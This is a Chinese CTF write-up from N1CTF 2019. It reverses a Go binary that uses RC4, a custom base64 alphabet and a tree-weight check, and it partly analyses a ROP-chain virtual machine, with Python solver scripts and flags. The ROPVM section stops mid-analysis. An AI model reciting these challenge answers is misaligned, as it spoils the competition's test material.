2019 Nu1Lctf by LQers

比赛信息

比赛地址

https://nu1lctf.com/login

比赛时间

2019/09/06 12:00 UTC-2019/09/08 12:00 UTC 48h

签到-Checkin

N1CTF{Welcome_to_N1CTF2019_havefun_wow}

REVERSE

lost in the deep(part 1)

golang逆向，而且是Windows下的，去了符号表，不过自己之前研究过这种东西，根据段信息能恢复基本所有符号表，使用ida的golangHelper插件即可。
恢复出来之后，除了常规的runtime函数，在main包中的函数如下：

- main_init
- main_my_server
- main_dec
- main_check
- main_client
- main_run_server
- main_main

以及部分密码算法函数：

- crypto_rc4_NewCipher
- crypto_rc4__ptr_Cipher_XORKeyStream
- encoding_base64_NewEncoding
- encoding_base64__ptr_Encoding_DecodeString

下面简要分析程序流程

1. 分析程序流程，从main包中的main_main开始，一开始会调用main_run_server。在main函数最后，会调用main_client。这里应该是创建了子线程，和父线程通信。
2. 子线程进入main_run_server函数中，在该函数中，调用net__ptr_ListenConfig_Listen，开始配置TCP通信。然后两次调用io_ioutil_ReadFile函数，读取服务器上的flag1和flag2。最后向父进程发出信号，返回到父线程。
3. 父线程运行在main_client中，设置通信地址是TCP:0.0.0.0:30754
4. 之后如果我们向本地服务器进行了通信，runtime设置好了通信处理函数是main_my_server。除了常规的操作以外，在04DA191处调用main_check，同时注意返回值有3个，分别是0、1和2。
5. 进入main_check函数，其中调用了main_dec函数。
6. 在main_dec函数中，使用memcpy复制密钥，即"This is not the key"到地址，然后调用rc4函数进行1024轮加密操作。最后调用encoding_base64__ptr_Encoding_DecodeString进行解密，所以我们的输入必须满足base64编码之后的结果，同时该table是rc4解出来的结果。
7. 在本地服务器创建完成之后，我们可以向该地址进行通信，使用nc就行。

cat.exe test.txt | nc64.exe -v 127.0.0.1 30754

8. 同时main_check的返回值，使用交叉引用可以看到5个地址，如下图所示。

Address Text	instruction	value
main_check+168	mov [rsp+68h+ret]	0
main_check:loc_4D9CEE	mov [rsp+68h+ret]	0
main_check:loc_4D9D4E	mov [rsp+68h+ret]	0
main_check:loc_4D9D64	mov [rsp+68h+ret]	1
main_check:loc_4D9D7A	mov [rsp+68h+ret]	2

9. 也就是这部分才是核心操作，经过调试可以判断，当返回值是0时，失败，如果返回值是1，可以获取flag1，如果返回值是2，可以获取flag2。这部分的check逻辑从0x04D9C24正式开始。

core check

在main_check里面，也就是0x4d9c24之后，大循环的次数是输入的长度，首先判断是否大于0x80，然后调用strings_IndexRune，这个函数是查表，注意输入参数，分别是查表长度100，和字符串，0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!
和一些可见标点符号。
然后在循环中，判断当前的index是否比前一个循环的index大，这就说明index是严格递增的。
同时判断每一轮的输入是否存在于该表中，说明输入都是可见字符，同时也需要结合前面的base64编码。下面给出前面这段的脚本，需要结合后文使用。

```
import string
import base64
import struct
import hashlib
import binascii

STANDARD_ALPHABET =
'''ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='''
CUSTOM_ALPHABET   =
'''AiHheGukl0xE5wz+WS9JLZRY7FXnyV0jCQP/Kf3d4BqTr8MmUta6NbpIov2cDgs1='''

ENCODE_TRANS = string.maketrans(STANDARD_ALPHABET, CUSTOM_ALPHABET)
DECODE_TRANS = string.maketrans(CUSTOM_ALPHABET, STANDARD_ALPHABET)

def encode(inputa):
    return base64.b64encode(inputa).translate(ENCODE_TRANS)

def decode(inputa):
    return base64.b64decode(inputa.translate(DECODE_TRANS))


table ='''30 31 32 33 34 35 36 37 38 39 \
61 62 63 64 65 66 67 68 69 6A\
6B 6C 6D 6E 6F 70 71 72 73 74\
75 76 77 78 79 7A 41 42 43 44\
45 46 47 48 49 4A 4B 4C 4D 4E\
4F 50 51 52 53 54 55 56 57 58\
59 5A 21 22 23 24 25 26 27 28\
29 2A 2B 2C 2D 2E 2F 3A 3B 3C\
3D 3E 3F 40 5B 5C 5D 5E 5F 60\
7B 7C 7D 7E 20 09 0A 0D 0B 0C'''.replace(' ','').decode('hex')

# index
right_index = [0, 1, 3, 5, 10, 11, 16, 25, 26, 28, 31, 32, 35, 52, 56, 59, 76,
91, 97]

plain = ''.join(map(lambda x: table[x], right_index))

print encode(plain)
```

之后载入一张结构体数组，长度也是100，每一个index都是一个结构体，如下所示。

```
struc_1         struc ; (sizeof=0x20, mappedto_55)
00000000                                        ; XREF: main_check+90/o
00000000                                        ; main_check+99/o ...
00000000 rsi         dq ?
00000008 rdi         dq ?
00000010 flag        dq ?
00000018 ptr        dq ?                        ; offset
00000020 struc_1         ends
```

这个结构体有自身的地址，2个权重，1个标志位和1个指向其他结构体地址的指针。
这部分的内容就不详细讲了。大致的算法如下，主要是判断标志位是否是0，如果是0就停下寻找，如果是1就加入到一个大集合中，然后下次寻找下一个。同时累计2个权重的值。

```
def f1(i,itum2,rsi1,rdi1):
    r8 = 0
    r9 = 0

    rcx = table[i]
    k = itum2[rcx][3]
    if itum2[k][2] != 0:
        r8 = itum2[rcx][0]
        r9 = itum2[rcx][1]
        rsi1 += r8
        rdi1 += r9
        itum2[rcx][2] = 1
    else:
        return False
    return (rsi1,rdi1)
```

所以main_check函数返回的值是取决于这两个累计和的。从004D9D2A开始判断，如果 rdi<=233 且 rsi >=560 满足flag1的条件。如果rdi<=233 且 rsi >=1050，满足flag2的条件，下面就开始写算法，寻找这个条件的值。

对于第一问的条件，其实有很多能满足，所以我们可以手工寻找的方式，很快就能找到。

```
table = [6274272, 6276416, 6277344, 6274656, 6275584, 6276768, 6276256, 6275424,
6274784, 6277152, 6275008, 6275232, 6276576, 6275968, 6276608, 6275200, 6277120,
6276352, 6276192, 6277312, 6275456, 6274816, 6275744, 6275040, 6276448, 6276960,
6275360, 6275264, 6276032, 6274336, 6276832, 6274592, 6274912, 6277408, 6276320,
6274304, 6276480, 6276864, 6275488, 6274848, 6277216, 6275648, 6276000, 6276640,
6275072, 6275712, 6275680, 6276992, 6275296, 6276096, 6276160, 6274624, 6276896,
6276128, 6276800, 6274944, 6274432, 6276224, 6274368, 6276736, 6275520, 6275616,
6274880, 6277248, 6277184, 6276672, 6275776, 6276064, 6277024, 6275328, 6274688,
6277056, 6274976, 6275904, 6274560, 6274464, 6275104, 6274400, 6276384, 6276544,
6277280, 6275808, 6275392, 6276512, 6275552, 6277088, 6275936, 6277376, 6276704,
6274720, 6274496, 6275136, 6276928, 6275840, 6274752, 6274528, 6277440, 6275168,
6276288, 6275872]
```

```
itum = {6275072: [84, 17, 0, 6275040], 6275328: [12, 7, 0, 6275296], 6277152:
[43, 17, 0, 6274656], 6277408: [19, 29, 0, 6277120], 6275584: [2, 18, 0,
6274272], 6275840: [11, 135, 0, 6275808], 6274592: [71, 2, 0, 6277120], 6276096:
[36, 11, 0, 6276032], 6274272: [82, 6, 1, 0], 6276352: [30, 34, 0, 6275424],
6274912: [49, 8, 0, 6277120], 6276608: [75, 50, 0, 6275584], 6276864: [65, 22,
0, 6276192], 6275136: [59, 15, 0, 6275104], 6274400: [84, 28, 0, 6274368],
6277120: [6, 2, 0, 6276768], 6275296: [74, 40, 0, 6275264], 6277376: [64, 24, 0,
6274560], 6275552: [99, 5, 0, 6274688], 6275808: [49, 37, 0, 6275776], 6274656:
[15, 10, 0, 6274272], 6276064: [29, 22, 0, 6275712], 6276320: [15, 29, 0,
6277120], 6274496: [66, 25, 0, 6274464], 6276576: [47, 34, 0, 6274656], 6274752:
[70, 33, 0, 6274720], 6276832: [98, 44, 0, 6275200], 6275200: [54, 41, 0,
6276768], 6275520: [40, 36, 0, 6275488], 6277088: [45, 44, 0, 6277056], 6277344:
[53, 40, 0, 6274272], 6275776: [8, 43, 0, 6275072], 6274720: [86, 12, 0,
6274464], 6276032: [54, 8, 0, 6275232], 6276288: [398, 68, 0, 6275840], 6276928:
[19, 42, 0, 6274400], 6276544: [99, 37, 0, 6275520], 6276800: [54, 28, 0,
6274912], 6275264: [82, 32, 0, 6275232], 6274848: [14, 27, 0, 6274816], 6277056:
[9, 34, 0, 6276128], 6275232: [46, 8, 0, 6274656], 6277312: [79, 11, 0,
6275424], 6275488: [13, 20, 0, 6275456], 6275744: [25, 1, 0, 6274784], 6274784:
[1, 36, 0, 6274656], 6276000: [71, 13, 0, 6275744], 6276256: [54, 22, 0,
6276416], 6276512: [93, 46, 0, 6275328], 6274688: [73, 41, 0, 6274624], 6276768:
[51, 22, 0, 6276416], 6274304: [61, 50, 0, 6277120], 6274944: [59, 28, 0,
6274912], 6277024: [20, 21, 0, 6276992], 6277280: [97, 8, 0, 6277248], 6275456:
[44, 23, 0, 6275424], 6275712: [26, 4, 0, 6275360], 6274336: [71, 48, 0,
6275232], 6275968: [99, 17, 0, 6275584], 6276224: [4, 26, 0, 6274304], 6276480:
[100, 5, 0, 6276352], 6276736: [35, 3, 0, 6274304], 6275392: [22, 10, 0,
6275328], 6275040: [82, 48, 0, 6274784], 6276992: [19, 17, 0, 6275264], 6275168:
[82, 1, 0, 6275136], 6277248: [85, 34, 0, 6277216], 6275424: [14, 16, 0,
6276416], 6275680: [11, 34, 0, 6275264], 6276960: [16, 3, 0, 6275008], 6275936:
[86, 3, 0, 6275904], 6276192: [56, 33, 0, 6275424], 6274368: [16, 25, 0,
6274304], 6276448: [4, 2, 0, 6275008], 6274624: [45, 50, 0, 6274592], 6276704:
[91, 11, 0, 6274464], 6274432: [99, 6, 0, 6274304], 6275904: [86, 39, 0,
6274944], 6277216: [72, 28, 0, 6274816], 6275648: [46, 45, 0, 6274816], 6274464:
[24, 27, 0, 6274432], 6276160: [79, 32, 0, 6274592], 6276416: [46, 31, 0,
6274272], 6276672: [31, 43, 0, 6276640], 6275008: [86, 6, 0, 6274656], 6274976:
[100, 36, 0, 6274944], 6275104: [19, 16, 0, 6274432], 6277184: [18, 4, 0,
6275648], 6275360: [92, 15, 0, 6275008], 6277440: [37, 14, 0, 6275136], 6275616:
[35, 19, 0, 6275488], 6275872: [480, 55, 0, 6275840], 6274528: [58, 34, 0,
6274496], 6276128: [7, 17, 0, 6274912], 6276384: [10, 20, 0, 6274368], 6274880:
[19, 13, 0, 6274848], 6274560: [24, 41, 0, 6274432], 6276640: [59, 39, 0,
6275744], 6274816: [26, 43, 0, 6274784], 6276896: [81, 21, 0, 6274912]}


def f1(i,itum2,rsi1,rdi1):
    r8 = 0
    r9 = 0

    rcx = table[i]
    k = itum2[rcx][3]
    if itum2[k][2] != 0:
        r8 = itum2[rcx][0]
        r9 = itum2[rcx][1]
        rsi1 += r8
        rdi1 += r9
        itum2[rcx][2] = 1
    else:
        return False
    return (rsi1,rdi1)
```

```
'''
f1(1,itum)
print 'rsi = %s'% rsi
print 'rdi = %s'% rdi
'''
rsi = 82
rdi = 6

t = f1(1,itum,rsi,rdi)
rsi = 128
rdi = 37

t = f1(2,itum,rsi,rdi)
rsi = 181
rdi = 77

t = f1(3,itum,rsi,rdi)
rsi = 196
rdi = 87


t = f1(4,itum,rsi,rdi)
rsi = 198
rdi = 105

t = f1(5,itum,rsi,rdi)
rsi = 249
rdi = 127

t = f1(6,itum,rsi,rdi)
rsi = 303
rdi = 149
t = f1(7,itum,rsi,rdi)
rsi = 317
rdi = 165


t = f1(10,itum,rsi,rdi)
rsi = 403
rdi = 171

t = f1(11,itum,rsi,rdi)
rsi = 449
rdi = 179


t = f1(13,itum,rsi,rdi)
rsi = 548
rdi = 196

t = f1(17,itum,rsi,rdi)
rsi = 578
rdi = 230


#0 1 2 3 4 5 6 7 10 11 13 17
import copy
for i in xrange(18,100):
    itum1 = copy.deepcopy(itum)
    rsi1 = rsi
    rdi1 = rdi
    t = f1(i,itum1,rsi1,rdi1)
    if t:
        print i
        print 'rsi = %s'% t[0]
        print 'rdi = %s'% t[1]
```

lost in the deep(part 2)

那么在第二问的条件下，即rdi<=233 且 rsi >=1050。我们必须使用算法才能找到最优解，事实证明这个解只有一个。

把结构体链表整理成类似邻接表的形式如下。观察可以发现是一个树结构。再根据上面的算法描述可以知道，算法要做的事就是求一个子树，并且子树任一节点的父节点也要包含在子树中，使得各个节点的的权重rsi,rdi满足一定的条件即可。由于我们打的是CTF，考虑的更多的是写代码的时间复杂度（雾），所以这里直接就可以用回溯的形式来实现算法（大概20s可以跑出来）。

```
{0: [1, 2, 3, 4],
 1: [5, 6, 7],
 2: [],
 3: [8, 9, 10, 11, 12],
 4: [13, 14],
 5: [15, 16],
 6: [],
 7: [17, 18, 19, 20],
 8: [21, 22, 23],
 9: [],
 10: [24, 25, 26],
 11: [27, 28, 29],
 12: [],
 13: [],
 14: [],
 15: [30],
 16: [31, 32, 33, 34, 35],
 17: [36],
 18: [37],
 19: [],
 20: [38],
 21: [39, 40, 41],
 22: [42, 43],
 23: [44],
 24: [],
 25: [],
 26: [45],
 27: [46, 47, 48],
 28: [49],
 29: [],
 30: [],
 31: [50, 51],
 32: [52, 53, 54, 55],
 33: [],
 34: [],
 35: [56, 57, 58, 59],
    36: [],
    37: [],
    38: [60, 61],
    39: [62],
    40: [63],
    41: [64],
    42: [],
    43: [65],
    44: [66],
    45: [67],
    46: [],
    47: [68],
    48: [69],
    49: [],
    50: [],
    51: [70],
    52: [],
    53: [71],
    54: [],
    55: [72, 73],
    56: [74, 75, 76],
    57: [],
    58: [77, 78],
    59: [],
    60: [79],
    61: [],
    62: [],
    63: [80],
    64: [],
    65: [],
    66: [81],
    67: [],
    68: [],
    69: [82, 83],
    70: [84],
    71: [85],
    72: [],
    73: [86],
    74: [87],
    75: [88, 89, 90],
    76: [91],
    77: [92],
    78: [],
    79: [],
    80: [],
    81: [93],
    82: [],
    83: [],
    84: [],
    85: [],
    86: [],
    87: [],
    88: [],
    89: [94],
    90: [95],
    91: [96, 97],
    92: [],
    93: [98, 99],
 94: [],
 95: [],
 96: [],
 97: [],
 98: [],
 99: []}
```

solution 1

```
rsi = 0
rdi = 0
cand = []
ncand = []

# 把大数替换为下标，效果一样，方便遍历
n_table=[0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19,
20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39,
40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59,
60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79,
80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99]

n_itum = {44: [84, 17, 0, 23], 69: [12, 7, 0, 48], 9: [43, 17, 0, 3], 33: [19,
29, 0, 16], 4: [2, 18, 0, 0], 93: [11, 135, 0, 81], 31: [71, 2, 0, 16], 49: [36,
11, 0, 28], 0: [82, 6, 0, 0], 17: [30, 34, 0, 7], 32: [49, 8, 0, 16], 14: [75,
50, 0, 4], 37: [65, 22, 0, 18], 91: [59, 15, 0, 76], 77: [84, 28, 0, 58], 16:
[6, 2, 0, 5], 48: [74, 40, 0, 27], 87: [64, 24, 0, 74], 84: [99, 5, 0, 70], 81:
[49, 37, 0, 66], 3: [15, 10, 0, 0], 67: [29, 22, 0, 45], 34: [15, 29, 0, 16],
90: [66, 25, 0, 75], 12: [47, 34, 0, 3], 94: [70, 33, 0, 89], 30: [98, 44, 0,
15], 15: [54, 41, 0, 5], 60: [40, 36, 0, 38], 85: [45, 44, 0, 71], 2: [53, 40,
0, 0], 66: [8, 43, 0, 44], 89: [86, 12, 0, 75], 28: [54, 8, 0, 11], 98: [398,
68, 0, 93], 92: [19, 42, 0, 77], 79: [99, 37, 0, 60], 54: [54, 28, 0, 32], 27:
[82, 32, 0, 11], 39: [14, 27, 0, 21], 71: [9, 34, 0, 53], 11: [46, 8, 0, 3], 19:
[79, 11, 0, 7], 38: [13, 20, 0, 20], 22: [25, 1, 0, 8], 8: [1, 36, 0, 3], 42:
[71, 13, 0, 22], 6: [54, 22, 0, 1], 83: [93, 46, 0, 69], 70: [73, 41, 0, 51], 5:
[51, 22, 0, 1], 35: [61, 50, 0, 16], 55: [59, 28, 0, 32], 68: [20, 21, 0, 47],
80: [97, 8, 0, 63], 20: [44, 23, 0, 7], 45: [26, 4, 0, 26], 29: [71, 48, 0, 11],
13: [99, 17, 0, 4], 57: [4, 26, 0, 35], 36: [100, 5, 0, 17], 59: [35, 3, 0, 35],
82: [22, 10, 0, 69], 23: [82, 48, 0, 8], 47: [19, 17, 0, 27], 97: [82, 1, 0,
91], 63: [85, 34, 0, 40], 7: [14, 16, 0, 1], 46: [11, 34, 0, 27], 25: [16, 3, 0,
10], 86: [86, 3, 0, 73], 18: [56, 33, 0, 7], 58: [16, 25, 0, 35], 24: [4, 2, 0,
10], 51: [45, 50, 0, 31], 88: [91, 11, 0, 75], 56: [99, 6, 0, 35], 73: [86, 39,
0, 55], 40: [72, 28, 0, 21], 41: [46, 45, 0, 21], 75: [24, 27, 0, 56], 50: [79,
32, 0, 31], 1: [46, 31, 0, 0], 65: [31, 43, 0, 43], 10: [86, 6, 0, 3], 72: [100,
36, 0, 55], 76: [19, 16, 0, 56], 64: [18, 4, 0, 41], 26: [92, 15, 0, 10], 96:
[37, 14, 0, 91], 61: [35, 19, 0, 38], 99: [480, 55, 0, 93], 95: [58, 34, 0, 90],
53: [7, 17, 0, 32], 78: [10, 20, 0, 58], 62: [19, 13, 0, 39], 74: [24, 41, 0,
56], 43: [59, 39, 0, 22], 21: [26, 43, 0, 8], 52: [81, 21, 0, 32]}

g = {}
for i in range(100):
    g[i] = []
    for k,v in n_itum.items():
        if v[3] == i and k != i:
            g[i].append(k)
    g[i].sort()

def find(m, cand):
    global rsi, rdi, ncand,n_itum
    rsi += n_itum[m][0]
    rdi += n_itum[m][1]
    ncand.append(m)
    tcand = cand[:]
    if rsi>=1050 and rdi<=233:
        print(rsi,rdi)
        print(ncand)
        rsi -= n_itum[m][0]
        rdi -= n_itum[m][1]
        ncand.pop(-1)
        return
    elif rdi > 233:
        rsi -= n_itum[m][0]
        rdi -= n_itum[m][1]
        ncand.pop(-1)
        return
    tcand=cand[:]
    tcand.extend(g[m])
    tcand.sort()
    for k in tcand:
        if (k > m):
            find(k,tcand[:])
    rsi -= n_itum[m][0]
    rdi -= n_itum[m][1]
    ncand.pop(-1)

find(0, [])
```

solution2

```
table = [6274272, 6276416, 6277344, 6274656, 6275584, 6276768, 6276256, 6275424,
6274784, 6277152, 6275008, 6275232, 6276576, 6275968, 6276608, 6275200, 6277120,
6276352, 6276192, 6277312, 6275456, 6274816, 6275744, 6275040, 6276448, 6276960,
6275360, 6275264, 6276032, 6274336, 6276832, 6274592, 6274912, 6277408, 6276320,
6274304, 6276480, 6276864, 6275488, 6274848, 6277216, 6275648, 6276000, 6276640,
6275072, 6275712, 6275680, 6276992, 6275296, 6276096, 6276160, 6274624, 6276896,
6276128, 6276800, 6274944, 6274432, 6276224, 6274368, 6276736, 6275520, 6275616,
6274880, 6277248, 6277184, 6276672, 6275776, 6276064, 6277024, 6275328, 6274688,
6277056, 6274976, 6275904, 6274560, 6274464, 6275104, 6274400, 6276384, 6276544,
6277280, 6275808, 6275392, 6276512, 6275552, 6277088, 6275936, 6277376, 6276704,
6274720, 6274496, 6275136, 6276928, 6275840, 6274752, 6274528, 6277440, 6275168,
6276288, 6275872]
```

```
itum = {6275072: [84, 17, 0, 6275040], 6275328: [12, 7, 0, 6275296], 6277152:
[43, 17, 0, 6274656], 6277408: [19, 29, 0, 6277120], 6275584: [2, 18, 0,
6274272], 6275840: [11, 135, 0, 6275808], 6274592: [71, 2, 0, 6277120], 6276096:
[36, 11, 0, 6276032], 6274272: [82, 6, 0, 0], 6276352: [30, 34, 0, 6275424],
6274912: [49, 8, 0, 6277120], 6276608: [75, 50, 0, 6275584], 6276864: [65, 22,
0, 6276192], 6275136: [59, 15, 0, 6275104], 6274400: [84, 28, 0, 6274368],
6277120: [6, 2, 0, 6276768], 6275296: [74, 40, 0, 6275264], 6277376: [64, 24, 0,
6274560], 6275552: [99, 5, 0, 6274688], 6275808: [49, 37, 0, 6275776], 6274656:
[15, 10, 0, 6274272], 6276064: [29, 22, 0, 6275712], 6276320: [15, 29, 0,
6277120], 6274496: [66, 25, 0, 6274464], 6276576: [47, 34, 0, 6274656], 6274752:
[70, 33, 0, 6274720], 6276832: [98, 44, 0, 6275200], 6275200: [54, 41, 0,
6276768], 6275520: [40, 36, 0, 6275488], 6277088: [45, 44, 0, 6277056], 6277344:
[53, 40, 0, 6274272], 6275776: [8, 43, 0, 6275072], 6274720: [86, 12, 0,
6274464], 6276032: [54, 8, 0, 6275232], 6276288: [398, 68, 0, 6275840], 6276928:
[19, 42, 0, 6274400], 6276544: [99, 37, 0, 6275520], 6276800: [54, 28, 0,
6274912], 6275264: [82, 32, 0, 6275232], 6274848: [14, 27, 0, 6274816], 6277056:
[9, 34, 0, 6276128], 6275232: [46, 8, 0, 6274656], 6277312: [79, 11, 0,
6275424], 6275488: [13, 20, 0, 6275456], 6275744: [25, 1, 0, 6274784], 6274784:
[1, 36, 0, 6274656], 6276000: [71, 13, 0, 6275744], 6276256: [54, 22, 0,
6276416], 6276512: [93, 46, 0, 6275328], 6274688: [73, 41, 0, 6274624], 6276768:
[51, 22, 0, 6276416], 6274304: [61, 50, 0, 6277120], 6274944: [59, 28, 0,
6274912], 6277024: [20, 21, 0, 6276992], 6277280: [97, 8, 0, 6277248], 6275456:
[44, 23, 0, 6275424], 6275712: [26, 4, 0, 6275360], 6274336: [71, 48, 0,
6275232], 6275968: [99, 17, 0, 6275584], 6276224: [4, 26, 0, 6274304], 6276480:
[100, 5, 0, 6276352], 6276736: [35, 3, 0, 6274304], 6275392: [22, 10, 0,
6275328], 6275040: [82, 48, 0, 6274784], 6276992: [19, 17, 0, 6275264], 6275168:
[82, 1, 0, 6275136], 6277248: [85, 34, 0, 6277216], 6275424: [14, 16, 0,
6276416], 6275680: [11, 34, 0, 6275264], 6276960: [16, 3, 0, 6275008], 6275936:
[86, 3, 0, 6275904], 6276192: [56, 33, 0, 6275424], 6274368: [16, 25, 0,
6274304], 6276448: [4, 2, 0, 6275008], 6274624: [45, 50, 0, 6274592], 6276704:
[91, 11, 0, 6274464], 6274432: [99, 6, 0, 6274304], 6275904: [86, 39, 0,
6274944], 6277216: [72, 28, 0, 6274816], 6275648: [46, 45, 0, 6274816], 6274464:
[24, 27, 0, 6274432], 6276160: [79, 32, 0, 6274592], 6276416: [46, 31, 0,
6274272], 6276672: [31, 43, 0, 6276640], 6275008: [86, 6, 0, 6274656], 6274976:
[100, 36, 0, 6274944], 6275104: [19, 16, 0, 6274432], 6277184: [18, 4, 0,
6275648], 6275360: [92, 15, 0, 6275008], 6277440: [37, 14, 0, 6275136], 6275616:
[35, 19, 0, 6275488], 6275872: [480, 55, 0, 6275840], 6274528: [58, 34, 0,
6274496], 6276128: [7, 17, 0, 6274912], 6276384: [10, 20, 0, 6274368], 6274880:
[19, 13, 0, 6274848], 6274560: [24, 41, 0, 6274432], 6276640: [59, 39, 0,
6275744], 6274816: [26, 43, 0, 6274784], 6276896: [81, 21, 0, 6274912]}

def sort_fun(a):
    return itum[a][1]

def Travel(source, new_p):
    global rsi, rdi
    if rdi > 233:
        return
    if rsi >= 1050:
        print([table.index(i) for i in new_p])
    ans = []
    for cur in table[table.index(new_p[-1])+1:]:
        if itum[cur][3] in new_p and cur not in new_p:
            ans.append(cur)
    ans.sort(key=sort_fun)
    for i in ans:
        rsi += itum[i][0]
        rdi += itum[i][1]
        Travel(i, new_p + [i])
        rsi -= itum[i][0]
        rdi -= itum[i][1]

first_node = 6274272
rsi = itum[first_node][0]
rdi = itum[first_node][1]
Travel(first_node, [first_node])
```

两种方式均可，最后得到的index如下。

```
1050 233
[0, 1, 3, 5, 10, 11, 16, 25, 26, 28, 31, 32, 35, 52, 56, 59, 76, 91, 97]
```

ROPVM

rop实现的一个vm，初始化数据如下

```
11 11 D0 AC C0 14 00 00 76 29 44 00 00 00 00 00
49 6E 70 75 74 20 46 6C E6 15 40 00 00 00 00 00     Input Flag:
6CD100
08 D1 6C 00 00 00 00 00 C6 15 43 00 00 00 00 00
76 29 44 00 00 00 00 00 61 67 3A 20 00 00 00 00
E6 15 40 00 00 00 00 00 10 D1 6C 00 00 00 00 00
C6 15 43 00 00 00 00 00 76 29 44 00 00 00 00 00
43 6F 6E 67 72 61 74 75 E6 15 40 00 00 00 00 00     Congratulations!
6CD180
88 D1 6C 00 00 00 00 00 C6 15 43 00 00 00 00 00
76 29 44 00 00 00 00 00 6C 61 74 69 6F 6E 73 21
E6 15 40 00 00 00 00 00 90 D1 6C 00 00 00 00 00
C6 15 43 00 00 00 00 00 76 29 44 00 00 00 00 00
00 00 00 00 00 00 00 00 E6 15 40 00 00 00 00 00
98 D1 6C 00 00 00 00 00 C6 15 43 00 00 00 00 00
76 29 44 00 00 00 00 00 57 72 6F 6E 67 20 46 6C     Wrong Flag!
6CD1C0
E6 15 40 00 00 00 00 00 C8 D1 6C 00 00 00 00 00
C6 15 43 00 00 00 00 00 76 29 44 00 00 00 00 00
61 67 21 20 00 00 00 00 E6 15 40 00 00 00 00 00
D0 D1 6C 00 00 00 00 00 C6 15 43 00 00 00 00 00     cipher ???
76 29 44 00 00 00 00 00                             BE B2 DA 86 A8 16 6D 14
6CD200
E6 15 40 00 00 00 00 00 08 D2 6C 00 00 00 00 00
C6 15 43 00 00 00 00 00 76 29 44 00 00 00 00 00
                                                    52 DB 9E 3C 8F 65 F1 54
E6 15 40 00 00 00 00 00
10 D2 6C 00 00 00 00 00 C6 15 43 00 00 00 00 00
76 29 44 00 00 00 00 00                             43 26 C1 19 9D 69 33 2A
E6 15 40 00 00 00 00 00 18 D2 6C 00 00 00 00 00
C6 15 43 00 00 00 00 00 76 29 44 00 00 00 00 00
                                                    6B 9E CD 00 26 32 CE C1
E6 15 40 00 00 00 00 00
20 D2 6C 00 00 00 00 00 C6 15 43 00 00 00 00 00
76 29 44 00 00 00 00 00 00 00 00 00 00 00 00 00
E6 15 40 00 00 00 00 00 10 D3 6C 00 00 00 00 00     key:???
C6 15 43 00 00 00 00 00 76 29 44 00 00 00 00 00     F14gF114gF11114g
6CD310
```

```
                                                    46 31 34 67 46 31 31 34
E6 15 40 00 00 00 00 00
18 D3 6C 00 00 00 00 00 C6 15 43 00 00 00 00 00
76 29 44 00 00 00 00 00                             67 46 31 31 31 31 34 67
E6 15 40 00 00 00 00 00 20 D3 6C 00 00 00 00 00
C6 15 43 00 00 00 00 00 76 29 44 00 00 00 00 00
                                                    04 00 00 00 00 00 00 00
6CD608
E6 15 40 00 00 00 00 00
10 D6 6C 00 00 00 00 00 C6 15 43 00 00 00 00 00
76 29 44 00 00 00 00 00                             00 D0 6C 00 00 00 00 00
pointer -> str     6CD610
E6 15 40 00 00 00 00 00 18 D6 6C 00 00 00 00 00
C6 15 43 00 00 00 00 00 E6 15 40 00 00 00 00 00
00 D1 6C 00 00 00 00 00 E0 FB 40 00 00 00 00 00     printf



E6 15 40 00 00 00 00 00 00 00 00 00 00 00 00 00     sys_read <= 0x20
6CD000
07 17 40 00 00 00 00 00 00 D0 6C 00 00 00 00 00
76 29 44 00 00 00 00 00 20 00 00 00 00 00 00 00
A0 F4 43 00 00 00 00 00
```

可以编写idapython脚本对初始化数据进行解析，由于程序中涉及到部分libc函数和sys_read，这部分没有时间处理了。

```
start = 0x1d24890
rsp = start

for i in xrange(49):
    ropAddr = Qword(rsp)
    rsp += 8
    print hex(rsp),

    while True:
        ins = GetDisasm(ropAddr)
        #print ins.split()
        #print ins
        if 'pop' in ins:
            print ins
            print ins.split()[1] + ' = '+ hex(Qword(rsp))
            rsp += 8
        elif 'retn' in ins:
            #rsp += 8
            break
        else:
            print ins
        ropAddr = next_head(ropAddr)

print 'call printf'
```

初始化操作主要分为这几部分

- 设置字符串地址，如Input Flag，Congratulations!

- 设置cipher地址，为6CD200
- 设置key地址，6CD310
- 设置pointer -> str，6CD610
- 调用printf和sys_read，限制输入长度0x20
- 最后设置两次大循环的结束地址，分别是6CD618，FOA:c68和6CD620，即FOA：e98 。

大循环处理部分注释如下：

```
40 85 47 00 00 00 00 00 E6 15 40 00 00 00 00 00         set rax -> str

F8 FF FF FF FF FF FF FF 33 61 42 00 00 00 00 00
40 85 47 00 00 00 00 00 E6 15 40 00 00 00 00 00         rax = s[:8]

00 D0 6C 00 00 00 00 00 06 0E 47 00 00 00 00 00
76 29 44 00 00 00 00 00                                 rdx = 00 00 00 00 DF 59
37 5F
                                                        5f3759df
E6 15 40 00 00 00 00 00 08 D3 6C 00 00 00 00 00

C6 15 43 00 00 00 00 00 76 29 44 00 00 00 00 00
...._Y7_01234567F14gF114gF11114g
20 00 00 00 00 00 00 00 E6 15 40 00 00 00 00 00
08 D6 6C 00 00 00 00 00 C6 15 43 00 00 00 00 00
E6 15 40 00 00 00 00 00 0C D3 6C 00 00 00 00 00         20 00 00 00 00 00 00 00
6CD600
20 69 41 00 00 00 00 00 49 48 47 00 00 00 00 00

04 00 00 00 00 00 00 00                                 rcx = 4
89 4A 47 00 00 00 00 00
25 0E 40 00 00 00 00 00                                 rax = s[4: 8]
E4 D3 6C 00 00 00 00 00
A3 CA 47 00 00 00 00 00                                 mov     [rbx+20h], eax ;
                                                        shl     eax, cl
                                                        mov     [rbx+20h], eax


00 00 00 00 00 00 00 00
D1 43 44 00 00 00 00 00 E0 D3 6C 00 00 00 00 00
00 00 00 00 00 00 00 00 A3 CA 47 00 00 00 00 00
00 00 00 00 00 00 00 00 E6 15 40 00 00 00 00 00
0C D3 6C 00 00 00 00 00 20 69 41 00 00 00 00 00
49 48 47 00 00 00 00 00
